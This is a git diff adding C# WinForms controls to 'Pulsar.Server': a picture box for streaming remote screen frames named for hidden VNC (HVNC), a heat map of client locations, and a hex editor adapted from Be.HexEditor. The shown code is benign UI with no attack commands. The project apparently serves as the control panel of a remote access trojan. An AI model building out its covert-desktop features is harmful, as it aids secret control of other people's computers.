+ /// True if the PictureBox is currently streaming images, else False. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool Running { get; set; } + + /// + /// Returns the width of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int ScreenWidth { get; private set; } + + /// + /// Returns the height of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int ScreenHeight { get; private set; } + + /// + /// Provides thread-safe access to the Image of this Picturebox. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public Image GetImageSafe + { + get + { + return Image; + } + set + { + lock (_imageLock) + { + Image = value; + } + } + } + + /// + /// The lock object for the Picturebox's image. + /// + private readonly object _imageLock = new object(); + + /// + /// The Stopwatch for internal FPS measuring. + /// + private Stopwatch _sWatch; + + /// + /// The internal class for FPS measuring. + /// + private FrameCounter _frameCounter; + + /// + /// Subscribes an Eventhandler to the FrameUpdated event. + /// + /// The Eventhandler to set. + public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated += e; + } + + /// + /// Unsubscribes an Eventhandler from the FrameUpdated event. + /// + /// The Eventhandler to remove. + public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated -= e; + } + + /// + /// Starts the internal FPS measuring. + /// + public void Start() + { + _frameCounter = new FrameCounter(); + + _sWatch = Stopwatch.StartNew(); + + Running = true; + } + + /// + /// Stops the internal FPS measuring. + /// + public void Stop() + { + _sWatch?.Stop(); + + Running = false; + } + + /// + /// Updates the Image of this Picturebox. + /// + /// The new bitmap to use. + /// If True the bitmap will be cloned, else it uses the original bitmap. + public void UpdateImage(Bitmap bmp, bool cloneBitmap) + { + try + { + CountFps(); + + if ((ScreenWidth != bmp.Width) && (ScreenHeight != bmp.Height)) + UpdateScreenSize(bmp.Width, bmp.Height); + + lock (_imageLock) + { + // get old image to dispose it correctly + var oldImage = GetImageSafe; + + SuspendLayout(); + GetImageSafe = cloneBitmap ? (Bitmap)bmp.Clone() : bmp; + ResumeLayout(); + + oldImage?.Dispose(); + } + } + catch (InvalidOperationException) + { + } + catch (Exception) + { + } + } + + /// + /// Constructor, sets Picturebox double-buffered and initializes the Framecounter. + /// + public HVNCRapidPictureBox() + { + this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; // Turn on WS_EX_COMPOSITED + return cp; + } + } + + protected override void OnPaint(PaintEventArgs pe) + { + lock (_imageLock) + { + if (GetImageSafe != null) + { + pe.Graphics.DrawImage(GetImageSafe, Location); + } + } + } + + private void UpdateScreenSize(int newWidth, int newHeight) + { + ScreenWidth = newWidth; + ScreenHeight = newHeight; + } + + private void CountFps() + { + var deltaTime = (float)_sWatch.Elapsed.TotalSeconds; + _sWatch = Stopwatch.StartNew(); + + _frameCounter.Update(deltaTime); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/HeatMapElementHost.cs b/Pulsar.Server/Controls/HeatMapElementHost.cs new file mode 100644 index 0000000..c84e036 --- /dev/null +++ b/Pulsar.Server/Controls/HeatMapElementHost.cs @@ -0,0 +1,47 @@ +using System.Windows.Forms; +using System.Windows.Forms.Integration; +using Pulsar.Server.Controls.Wpf; +using Pulsar.Server.Statistics; + +#nullable enable + +namespace Pulsar.Server.Controls +{ + public sealed class HeatMapElementHost : ElementHost + { + private readonly HeatMapView _heatMapView; + private ClientGeoSnapshot? _lastSnapshot; + + public HeatMapElementHost() + { + _heatMapView = new HeatMapView(); + Child = _heatMapView; + Dock = DockStyle.Fill; + } + + public void ShowLoading() + { + _heatMapView.ShowLoading(); + } + + public void ShowError(string message) + { + _heatMapView.ShowError(message); + } + + public void UpdateSnapshot(ClientGeoSnapshot snapshot) + { + _lastSnapshot = snapshot; + _heatMapView.UpdateSnapshot(snapshot); + } + + public void ApplyTheme(bool isDarkMode) + { + _heatMapView.ApplyTheme(isDarkMode); + if (_lastSnapshot != null && !_lastSnapshot.HasError) + { + _heatMapView.UpdateSnapshot(_lastSnapshot); + } + } + } +} diff --git a/Pulsar.Server/Controls/HexEditor/ByteCollection.cs b/Pulsar.Server/Controls/HexEditor/ByteCollection.cs new file mode 100644 index 0000000..10c052e --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/ByteCollection.cs @@ -0,0 +1,82 @@ +ο»Ώusing System; +using System.Collections.Generic; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class ByteCollection + { + private List _bytes; + + #region Properties + + public int Length + { + get { return _bytes.Count; } + } + + #endregion + + #region Constructor + + public ByteCollection() + { + _bytes = new List(); + } + + public ByteCollection(byte[] bytes) + { + _bytes = new List(bytes); + } + + #endregion + + #region Methods + + public void Add(byte item) + { + _bytes.Add(item); + } + + public void Insert(int index, byte item) + { + _bytes.Insert(index, item); + } + + public void Remove(byte item) + { + _bytes.Remove(item); + } + + public void RemoveAt(int index) + { + _bytes.RemoveAt(index); + } + + public void RemoveRange(int startIndex, int count) + { + _bytes.RemoveRange(startIndex, count); + } + + public byte GetAt(int index) + { + return _bytes[index]; + } + + public void SetAt(int index, byte item) + { + _bytes[index] = item; + } + + public char GetCharAt(int index) + { + return Convert.ToChar(_bytes[index]); + } + + public byte[] ToArray() + { + return _bytes.ToArray(); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/Caret.cs b/Pulsar.Server/Controls/HexEditor/Caret.cs new file mode 100644 index 0000000..5f6ac02 --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/Caret.cs @@ -0,0 +1,232 @@ +ο»Ώusing System; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class Caret + { + #region Field + + /// + /// Contains the start index + /// where the caret started + /// + int _startIndex; + + /// + /// Contains the end index + /// where the caret is + /// currently located + /// + int _endIndex; + + /// + /// Tells if the given caret + /// is active in the controller + /// (control is in focus) + /// + bool _isCaretActive; + + + /// + /// Tells if the caret is + /// currently hidden or + /// not (out of view) + /// + bool _isCaretHidden; + + /// + /// Holds the actual position + /// of the caret + /// + Point _location; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int SelectionStart + { + get + { + if (_endIndex < _startIndex) + return _endIndex; + return _startIndex; + } + } + + public int SelectionLength + { + get + { + if (_endIndex < _startIndex) + return _startIndex - _endIndex; + return _endIndex - _startIndex; + } + } + + public bool Focused + { + get { return _isCaretActive; } + } + + public int CurrentIndex + { + get { return _endIndex; } + } + + public Point Location + { + get { return _location; } + } + + #endregion + + #region EventHandlers + + public event EventHandler SelectionStartChanged; + + public event EventHandler SelectionLengthChanged; + + #endregion + + #region Constructor + + public Caret(HexEditor editor) + { + _editor = editor; + _isCaretActive = false; + _startIndex = 0; + _endIndex = 0; + _isCaretHidden = true; + _location = new Point(0, 0); + } + + #endregion + + #region Methods + + #region Caret + + private bool Create(IntPtr hWHandler) + { + if (!_isCaretActive) + { + _isCaretActive = true; + return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2); + } + + return false; + } + + private bool Show(IntPtr hWnd) + { + if (_isCaretActive) + { + _isCaretHidden = false; + return ShowCaret(hWnd); + } + + return false; + } + + public bool Hide(IntPtr hWnd) + { + if (_isCaretActive && !_isCaretHidden) + { + _isCaretHidden = true; + return HideCaret(hWnd); + } + return false; + } + + public bool Destroy() + { + if (_isCaretActive) + { + _isCaretActive = false; + DeSelect(); + DestroyCaret(); + } + + return false; + } + + #endregion + + public void SetStartIndex(int index) + { + _startIndex = index; + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + + } + + public void SetEndIndex(int index) + { + _endIndex = index; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + public void SetCaretLocation(Point start) + { + Create(_editor.Handle); + _location = start; + SetCaretPos(_location.X, _location.Y); + Show(_editor.Handle); + } + + public bool IsSelected(int byteIndex) + { + return (SelectionStart <= byteIndex && byteIndex < (SelectionStart + SelectionLength)); + } + + private void DeSelect() + { + if (_endIndex < _startIndex) + _startIndex = _endIndex; + else + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + #endregion + + #region Caret import + + [DllImport("user32.dll", SetLastError = true)] + static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool DestroyCaret(); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool SetCaretPos(int x, int y); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool ShowCaret(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool HideCaret(IntPtr hWnd); + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/EditView.cs b/Pulsar.Server/Controls/HexEditor/EditView.cs new file mode 100644 index 0000000..8d14900 --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/EditView.cs @@ -0,0 +1,177 @@ +ο»Ώusing System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class EditView : IKeyMouseEventHandler + { + #region Fields + + /// + /// Contains the handler for the hex + /// view. + /// + private HexViewHandler _hexView; + + /// + /// Contains the handler for the + /// string view + /// + private StringViewHandler _stringView; + + private HexEditor _editor; + + #endregion + + #region Contructor + + public EditView(HexEditor editor) + { + _editor = editor; + _hexView = new HexViewHandler(editor); + _stringView = new StringViewHandler(editor); + } + + #endregion + + #region KeyMouseEvent + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyPress(e); + } + else + { + _stringView.OnKeyPress(e); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyDown(e); + } + else + { + _stringView.OnKeyDown(e); + } + } + + public void OnKeyUp(KeyEventArgs e) + { /* ... */ } + + #endregion + + #region Mouse + + public void OnMouseDown(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDown(e.X, e.Y); + } + else + { + _stringView.OnMouseDown(e.X, e.Y); + } + } + } + + public void OnMouseDragged(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDragged(e.X, e.Y); + } + else + { + _stringView.OnMouseDragged(e.X, e.Y); + } + } + } + + public void OnMouseUp(MouseEventArgs e) + { /* ... */ } + + public void OnMouseDoubleClick(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDoubleClick(); + } + else + { + _stringView.OnMouseDoubleClick(); + } + } + } + + #endregion + + #region Focus + + public void OnGotFocus(EventArgs e) + { + if (InHexView(_editor.CaretPosX)) + _hexView.Focus(); + else + _stringView.Focus(); + } + + #endregion + + #endregion + + #region UpdateActions + public void SetLowerCase() + { + _hexView.SetLowerCase(); + } + + public void SetUpperCase() + { + _hexView.SetUpperCase(); + } + + public void Update(int startPositionX, Rectangle area) + { + _hexView.Update(startPositionX, area); + _stringView.Update(_hexView.MaxWidth, area); + } + #endregion + + #region PaintActions + + public void Paint(Graphics g, int startIndex, int endIndex) + { + for (int i = 0; (i + startIndex) < endIndex; i++) + { + _hexView.Paint(g, i, startIndex); + _stringView.Paint(g, i, startIndex); + } + } + + #endregion + + #region Misc + + private bool InHexView(int x) + { + return (x < (_hexView.MaxWidth + _editor.EntityMargin - 2)); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/HexEditor.cs b/Pulsar.Server/Controls/HexEditor/HexEditor.cs new file mode 100644 index 0000000..2373d7d --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/HexEditor.cs @@ -0,0 +1,1374 @@ +ο»Ώusing System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + /* + * Derived and Adapted from Bernhard Elbl + * Be.HexEditor v1.6 (Last Update: Dec 27, 2013). + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code (and the rest that is avaliable in the + * HexEditor-folder) has been derived from Bernhard + * ElblBe's Be.HexEditor v1.6, modifications have + * been made to make it better fit the new application + * area. + * First Modified by StingRaptor on Febuary 7, 2016 + */ + /* [Original License, ONLY for Current HexEditor Folder] + * This license is applied only to the files in the current + * HexEditor Folder + + * The MIT License + + Copyright (c) 2011 Bernhard Elbl + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + THE SOFTWARE. + */ + /* + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Unmodified Source: + * http://sourceforge.net/projects/hexbox/?source=navbar + */ + + public class HexEditor : Control + { + #region Locks + + private object _caretLock = new object(); + + private object _hexTableLock = new object(); + + #endregion + + #region IKeyMouseEventHandlers + + private IKeyMouseEventHandler _handler; + + #endregion + + #region EditView + + private EditView _editView; + + #endregion + + #region Fields + + /// + /// Contains all of the bytes that + /// are to be displayed in the + /// HexEditor + /// + ByteCollection _hexTable; + + /// + /// Contains the type of counter + /// for the linecount + /// + string _lineCountCaps = "X"; + + /// + /// Contains the number of chars + /// to be used in the line count + /// + int _nrCharsLineCount = 4; + + /// + /// Contains the caret for the + /// control + /// + Caret _caret; + + #region Boundarys + + /// + /// Contains the bound for everything that + /// is to be displayed in the control + /// + Rectangle _recContent; + + /// + /// Contains the boundary for every + /// line count for the control + /// + Rectangle _recLineCount; + + #endregion + + #region String Format + + /// + /// Contains the format of the line count + /// string that is presented in this control + /// + StringFormat _stringFormat; + + #endregion + + #region Byte specific + + /// + /// Contains the index of the first + /// visible byte + /// + int _firstByte; + + /// + /// Contains the index of the last + /// visible byte + /// + int _lastByte; + + /// + /// Contains the maximum bytes that + /// can be visible horizontally + /// + int _maxBytesH; + + /// + /// Contains the maximum bytes that + /// can be visible vertically + /// + int _maxBytesV; + + /// + /// Contains the maximum number of + /// bytes that can be visible at a + /// time. + /// + int _maxBytes; + + /// + /// Contains the maximum number of + /// rows with bytes that are fully + /// visible. + /// + int _maxVisibleBytesV; + + #endregion + + #region Scrollbar + + /// + /// Contains the vertical scroll + /// bar for the control + /// + VScrollBar _vScrollBar; + + /// + /// Contains the with of the scrollbar + /// in pixels + /// + int _vScrollBarWidth = 20; + + /// + /// Contains the current position of the + /// scrollbar + /// + int _vScrollPos; + + /// + /// Contains the maximum value that + /// the scrollbar can have + /// + int _vScrollMax; + + /// + /// Contains the minimum value + /// that the scrollbar may have + /// + int _vScrollMin; + + /// + /// Contains the value for the + /// size of a smallchange in the + /// scrollbar + /// + int _vScrollSmall; + + /// + /// Contains the value for the + /// size of a largechange in the + /// scrollbar + /// + int _vScrollLarge; + + #endregion + + #endregion + + #region Properties + + #region enums + + public enum CaseStyle { LowerCase, UpperCase } + + #endregion + + #region Overriden + + //Override font to trigger update on font change + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override Font Font + { + set + { + base.Font = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + } + + //Hides the property Text that is not used for the control + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override string Text + { + get + { + return base.Text; + } + set + { + base.Text = value; + } + } + + #endregion + + #region Hidden + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public byte[] HexTable + { + get + { + lock (_hexTableLock) + { + return _hexTable.ToArray(); + } + } + set + { + lock (_hexTableLock) + { + if (value == _hexTable.ToArray()) + return; + + _hexTable = new ByteCollection(value); + } + UpdateRectanglePositioning(); + Invalidate(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public SizeF CharSize + { + get { return _charSize; } + private set + { + if (_charSize == value) + return; + + _charSize = value; + + if (CharSizeChanged != null) + CharSizeChanged(this, EventArgs.Empty); + } + } + SizeF _charSize; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int MaxBytesV + { + get { return _maxBytesV; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int FirstVisibleByte + { + get { return _firstByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int LastVisibleByte + { + get { return _lastByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool VScrollBarHidden + { + get { return _isVScrollHidden; } + set + { + if (_isVScrollHidden == value) + return; + + _isVScrollHidden = value; + + if (!_isVScrollHidden) + Controls.Add(_vScrollBar); + else + Controls.Remove(_vScrollBar); + + UpdateRectanglePositioning(); + Invalidate(); + } + } + bool _isVScrollHidden = true; + + #endregion + + #region Visible + + /// + /// Contains the number of bytes to + /// display per line + /// + [DefaultValue(8), Category("Hex"), Description("Property that specifies the number of bytes to display per line.")] + public int BytesPerLine + { + get { return _bytesPerLine; } + set + { + if (_bytesPerLine == value) + return; + + _bytesPerLine = value; + UpdateRectanglePositioning(); + Invalidate(); + } + } + int _bytesPerLine = 8; + + + /// + /// Contains the margin between each + /// of the entitys + /// + [DefaultValue(10), Category("Hex"), Description("Property that specifies the margin between each of the entitys in the control.")] + public int EntityMargin + { + get { return _entityMargin; } + set + { + if (_entityMargin == value) + return; + + _entityMargin = value; + UpdateRectanglePositioning(); + Invalidate(); + } + } + int _entityMargin = 10; + + /// + /// Contains the type of border + /// that is used for the control + /// + [DefaultValue(BorderStyle.Fixed3D), Category("Appearance"), Description("Indicates where the control should have a border.")] + public BorderStyle BorderStyle + { + get { return _borderStyle; } + set + { + if (_borderStyle == value) + return; + + if (value != BorderStyle.FixedSingle) + _borderColor = Color.Empty; + + _borderStyle = value; + UpdateRectanglePositioning(); + Invalidate(); + } + } + BorderStyle _borderStyle = BorderStyle.Fixed3D; + + /// + /// Contains the color for the border + /// that is used for the control + /// (Only used when BorderStyle is FixedSingle) + /// + [DefaultValue(typeof(Color), "Empty"), Category("Appearance"), Description("Indicates the color to be used when displaying a FixedSingle border.")] + public Color BorderColor + { + get { return _borderColor; } + set + { + if (BorderStyle != BorderStyle.FixedSingle || _borderColor == value) + return; + + _borderColor = value; + Invalidate(); + } + } + Color _borderColor = Color.Empty; + + /// + /// Contains the color of the selected + /// background area in the control + /// + [DefaultValue(typeof(Color), "Blue"), Category("Hex"), Description("Property for the background color of the selected text areas.")] + public Color SelectionBackColor + { + get { return _selectionBackColor; } + set + { + if (_selectionBackColor == value) + return; + + _selectionBackColor = value; + } + } + Color _selectionBackColor = Color.Blue; + + /// + /// Contains the color of the selected + /// foreground area in the control + /// + [DefaultValue(typeof(Color), "White"), Category("Hex"), Description("Property for the foreground color of the selected text areas.")] + public Color SelectionForeColor + { + get { return _selectionForeColor; } + set + { + if (_selectionForeColor == value) + return; + + _selectionForeColor = value; + } + } + Color _selectionForeColor = Color.White; + + /// + /// Contains the case type for the + /// line counter + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use on the line counter.")] + public CaseStyle LineCountCaseStyle + { + get { return _lineCountCaseStyle; } + set + { + if (_lineCountCaseStyle == value) + return; + + _lineCountCaseStyle = value; + + if (_lineCountCaseStyle == CaseStyle.LowerCase) + _lineCountCaps = "x"; + else + _lineCountCaps = "X"; + + Invalidate(); + } + } + CaseStyle _lineCountCaseStyle = CaseStyle.UpperCase; + + /// + /// Contains the case type for the + /// hex view. + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use for the hexadecimal values view.")] + public CaseStyle HexViewCaseStyle + { + get { return _hexViewCaseStyle; } + set + { + if (_hexViewCaseStyle == value) + return; + + _hexViewCaseStyle = value; + + if (_hexViewCaseStyle == CaseStyle.LowerCase) + _editView.SetLowerCase(); + else + _editView.SetUpperCase(); + + Invalidate(); + } + } + CaseStyle _hexViewCaseStyle = CaseStyle.UpperCase; + + /// + /// Property that contains if the + /// vertical scrollbar should be + /// visible or not + /// + [DefaultValue(false), Category("Hex"), Description("Property for the visibility of the vertical scrollbar.")] + public bool VScrollBarVisisble + { + get { return _isVScrollVisible; } + set + { + if (_isVScrollVisible == value) + return; + + _isVScrollVisible = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + } + bool _isVScrollVisible = false; + + #endregion + + #endregion + + #region EventHandlers + + [Description("Event that is triggered whenever the hextable has been changed.")] + public event EventHandler HexTableChanged; + + [Description("Event that is triggered whenever the SelectionStart value is changed.")] + public event EventHandler SelectionStartChanged; + + [Description("Event that is triggered whenever the SelectionLength value is changed.")] + public event EventHandler SelectionLengthChanged; + + [Description("Event that is triggered whenever the size of the char is changed.")] + public event EventHandler CharSizeChanged; + + #endregion + + #region Events + + protected void OnVScrollBarScroll(object sender, ScrollEventArgs e) + { + switch (e.Type) + { + case ScrollEventType.SmallIncrement: + ScrollLineDown(1); + break; + case ScrollEventType.SmallDecrement: + ScrollLineUp(1); + break; + case ScrollEventType.LargeIncrement: + ScrollLineDown(_vScrollLarge); + break; + case ScrollEventType.LargeDecrement: + ScrollLineUp(_vScrollLarge); + break; + case ScrollEventType.ThumbTrack: + ScrollThumbTrack(e.NewValue - e.OldValue); + break; + } + Invalidate(); + } + + protected void CaretSelectionStartChanged(object sender, EventArgs e) + { + if (SelectionStartChanged != null) + SelectionStartChanged(this, e); + } + + protected void CaretSelectionLengthChanged(object sender, EventArgs e) + { + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, e); + } + + #region Overriden + + protected override void OnMarginChanged(EventArgs e) + { + base.OnMarginChanged(e); + UpdateRectanglePositioning(); + Invalidate(); + } + + protected override void OnGotFocus(EventArgs e) + { + if (_handler != null) + _handler.OnGotFocus(e); + + UpdateRectanglePositioning(); + Invalidate(); + base.OnGotFocus(e); + } + + protected override void OnLostFocus(EventArgs e) + { + _dragging = false; + DestroyCaret(); + base.OnLostFocus(e); + } + + #endregion + + #endregion + + #region KeyEvents + + protected override bool IsInputKey(Keys keyData) + { + switch (keyData) + { + case Keys.Right: + case Keys.Left: + case Keys.Up: + case Keys.Down: + case Keys.Shift | Keys.Right: + case Keys.Shift | Keys.Left: + case Keys.Shift | Keys.Up: + case Keys.Shift | Keys.Down: + return true; + } + return base.IsInputKey(keyData); + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + if (_handler != null) + _handler.OnKeyPress(e); + + base.OnKeyPress(e); + } + + protected override void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.PageDown) + { + if (!_isVScrollHidden) + { + ScrollLineDown(_vScrollLarge); + Invalidate(); + } + } + else if (e.KeyCode == Keys.PageUp) + { + if (!_isVScrollHidden) + { + ScrollLineUp(_vScrollLarge); + Invalidate(); + } + } + else + { + if (_handler != null) + _handler.OnKeyDown(e); + } + + base.OnKeyDown(e); + } + + protected override void OnKeyUp(KeyEventArgs e) + { + if (_handler != null) + _handler.OnKeyUp(e); + + base.OnKeyUp(e); + } + + #endregion + + #region MouseEvents + + //Indicates if the mouse is currently being dragged or not + private bool _dragging; + + protected override void OnMouseDown(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDown(e); + + if (e.Button == MouseButtons.Left) + { + _dragging = true; + Invalidate(); + } + } + else + { + this.Focus(); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (this.Focused) + { + if (_dragging) + { + if (_handler != null) + _handler.OnMouseDragged(e); + + Invalidate(); + } + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + _dragging = false; + + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseUp(e); + } + + base.OnMouseUp(e); + } + + protected override void OnMouseDoubleClick(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDoubleClick(e); + } + + base.OnMouseDoubleClick(e); + } + + #endregion + + #region Caret + + #region Properties + + public int CaretPosX + { + get + { + lock (_caretLock) + { + return _caret.Location.X; + } + } + } + + public int CaretPosY + { + get + { + lock (_caretLock) + { + return _caret.Location.Y; + } + } + } + + public int SelectionStart + { + get + { + lock (_caretLock) + { + return _caret.SelectionStart; + } + } + } + + public int SelectionLength + { + get + { + lock (_caretLock) + { + return _caret.SelectionLength; + } + } + } + + public int CaretIndex + { + get + { + lock (_caretLock) + { + return _caret.CurrentIndex; + } + } + } + + public bool CaretFocused + { + get + { + lock (_caretLock) + { + return _caret.Focused; + } + } + } + + #endregion + + #region Methods + + public void SetCaretStart(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetStartIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public void SetCaretEnd(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetEndIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public bool IsSelected(int byteIndex) + { + lock (_caretLock) + { + return _caret.IsSelected(byteIndex); + } + } + + public void DestroyCaret() + { + lock (_caretLock) + { + _caret.Destroy(); + } + } + + #endregion + + #endregion + + #region HexTable + + #region Properties + + public int HexTableLength + { + get + { + lock (_hexTableLock) + { + return _hexTable.Length; + } + } + } + + #endregion + + #region Methods + + public void RemoveSelectedBytes() + { + int index = SelectionStart; + int length = SelectionLength; + if (length > 0) + { + lock (_hexTableLock) + { + _hexTable.RemoveRange(index, length); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + } + + public void RemoveByteAt(int index) + { + lock (_hexTableLock) + { + _hexTable.RemoveAt(index); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void AppendByte(byte item) + { + lock (_hexTableLock) + { + _hexTable.Add(item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void InsertByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.Insert(index, item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public char GetByteAsChar(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetCharAt(index); + } + } + + public byte GetByte(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetAt(index); + } + } + + public void SetByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.SetAt(index, item); + } + + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + #endregion + + #endregion + + #region Scrollbar + + public void ScrollLineUp(int lines) + { + if (_firstByte > 0) + { + lines = lines > _vScrollPos ? _vScrollPos : lines; + //Scroll up + _vScrollPos -= _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y += _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + } + } + } + } + + public void ScrollLineDown(int lines) + { + if (_vScrollPos <= _vScrollMax - _vScrollLarge) + { + lines = (lines + _vScrollPos) > (_vScrollMax - _vScrollLarge) ? (_vScrollMax - _vScrollLarge) - _vScrollPos + 1 : lines; + //Scroll up + _vScrollPos += _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y -= _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + if (caretLocation.Y < _recContent.Y) + _caret.Hide(this.Handle); + } + } + } + } + + public void ScrollThumbTrack(int lines) + { + if (lines == 0) + return; + + if (lines < 0) + { + ScrollLineUp((-1) * lines); + } + else + { + ScrollLineDown(lines); + } + } + + /// + /// Performs a scroll to the given caretIndex + /// + /// The caret index to scroll to + public Point ScrollToCaret(int caretIndex, Point position) + { + if (position.Y < 0) + { + //Need to scroll up until caret is visible + _vScrollPos -= Math.Abs((position.Y - _recContent.Y) / _recLineCount.Height) * _vScrollSmall; + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = _recContent.Y; + } + } + else if (position.Y > _maxVisibleBytesV * _recLineCount.Height) + { + //Need to scroll down until caret is visible + 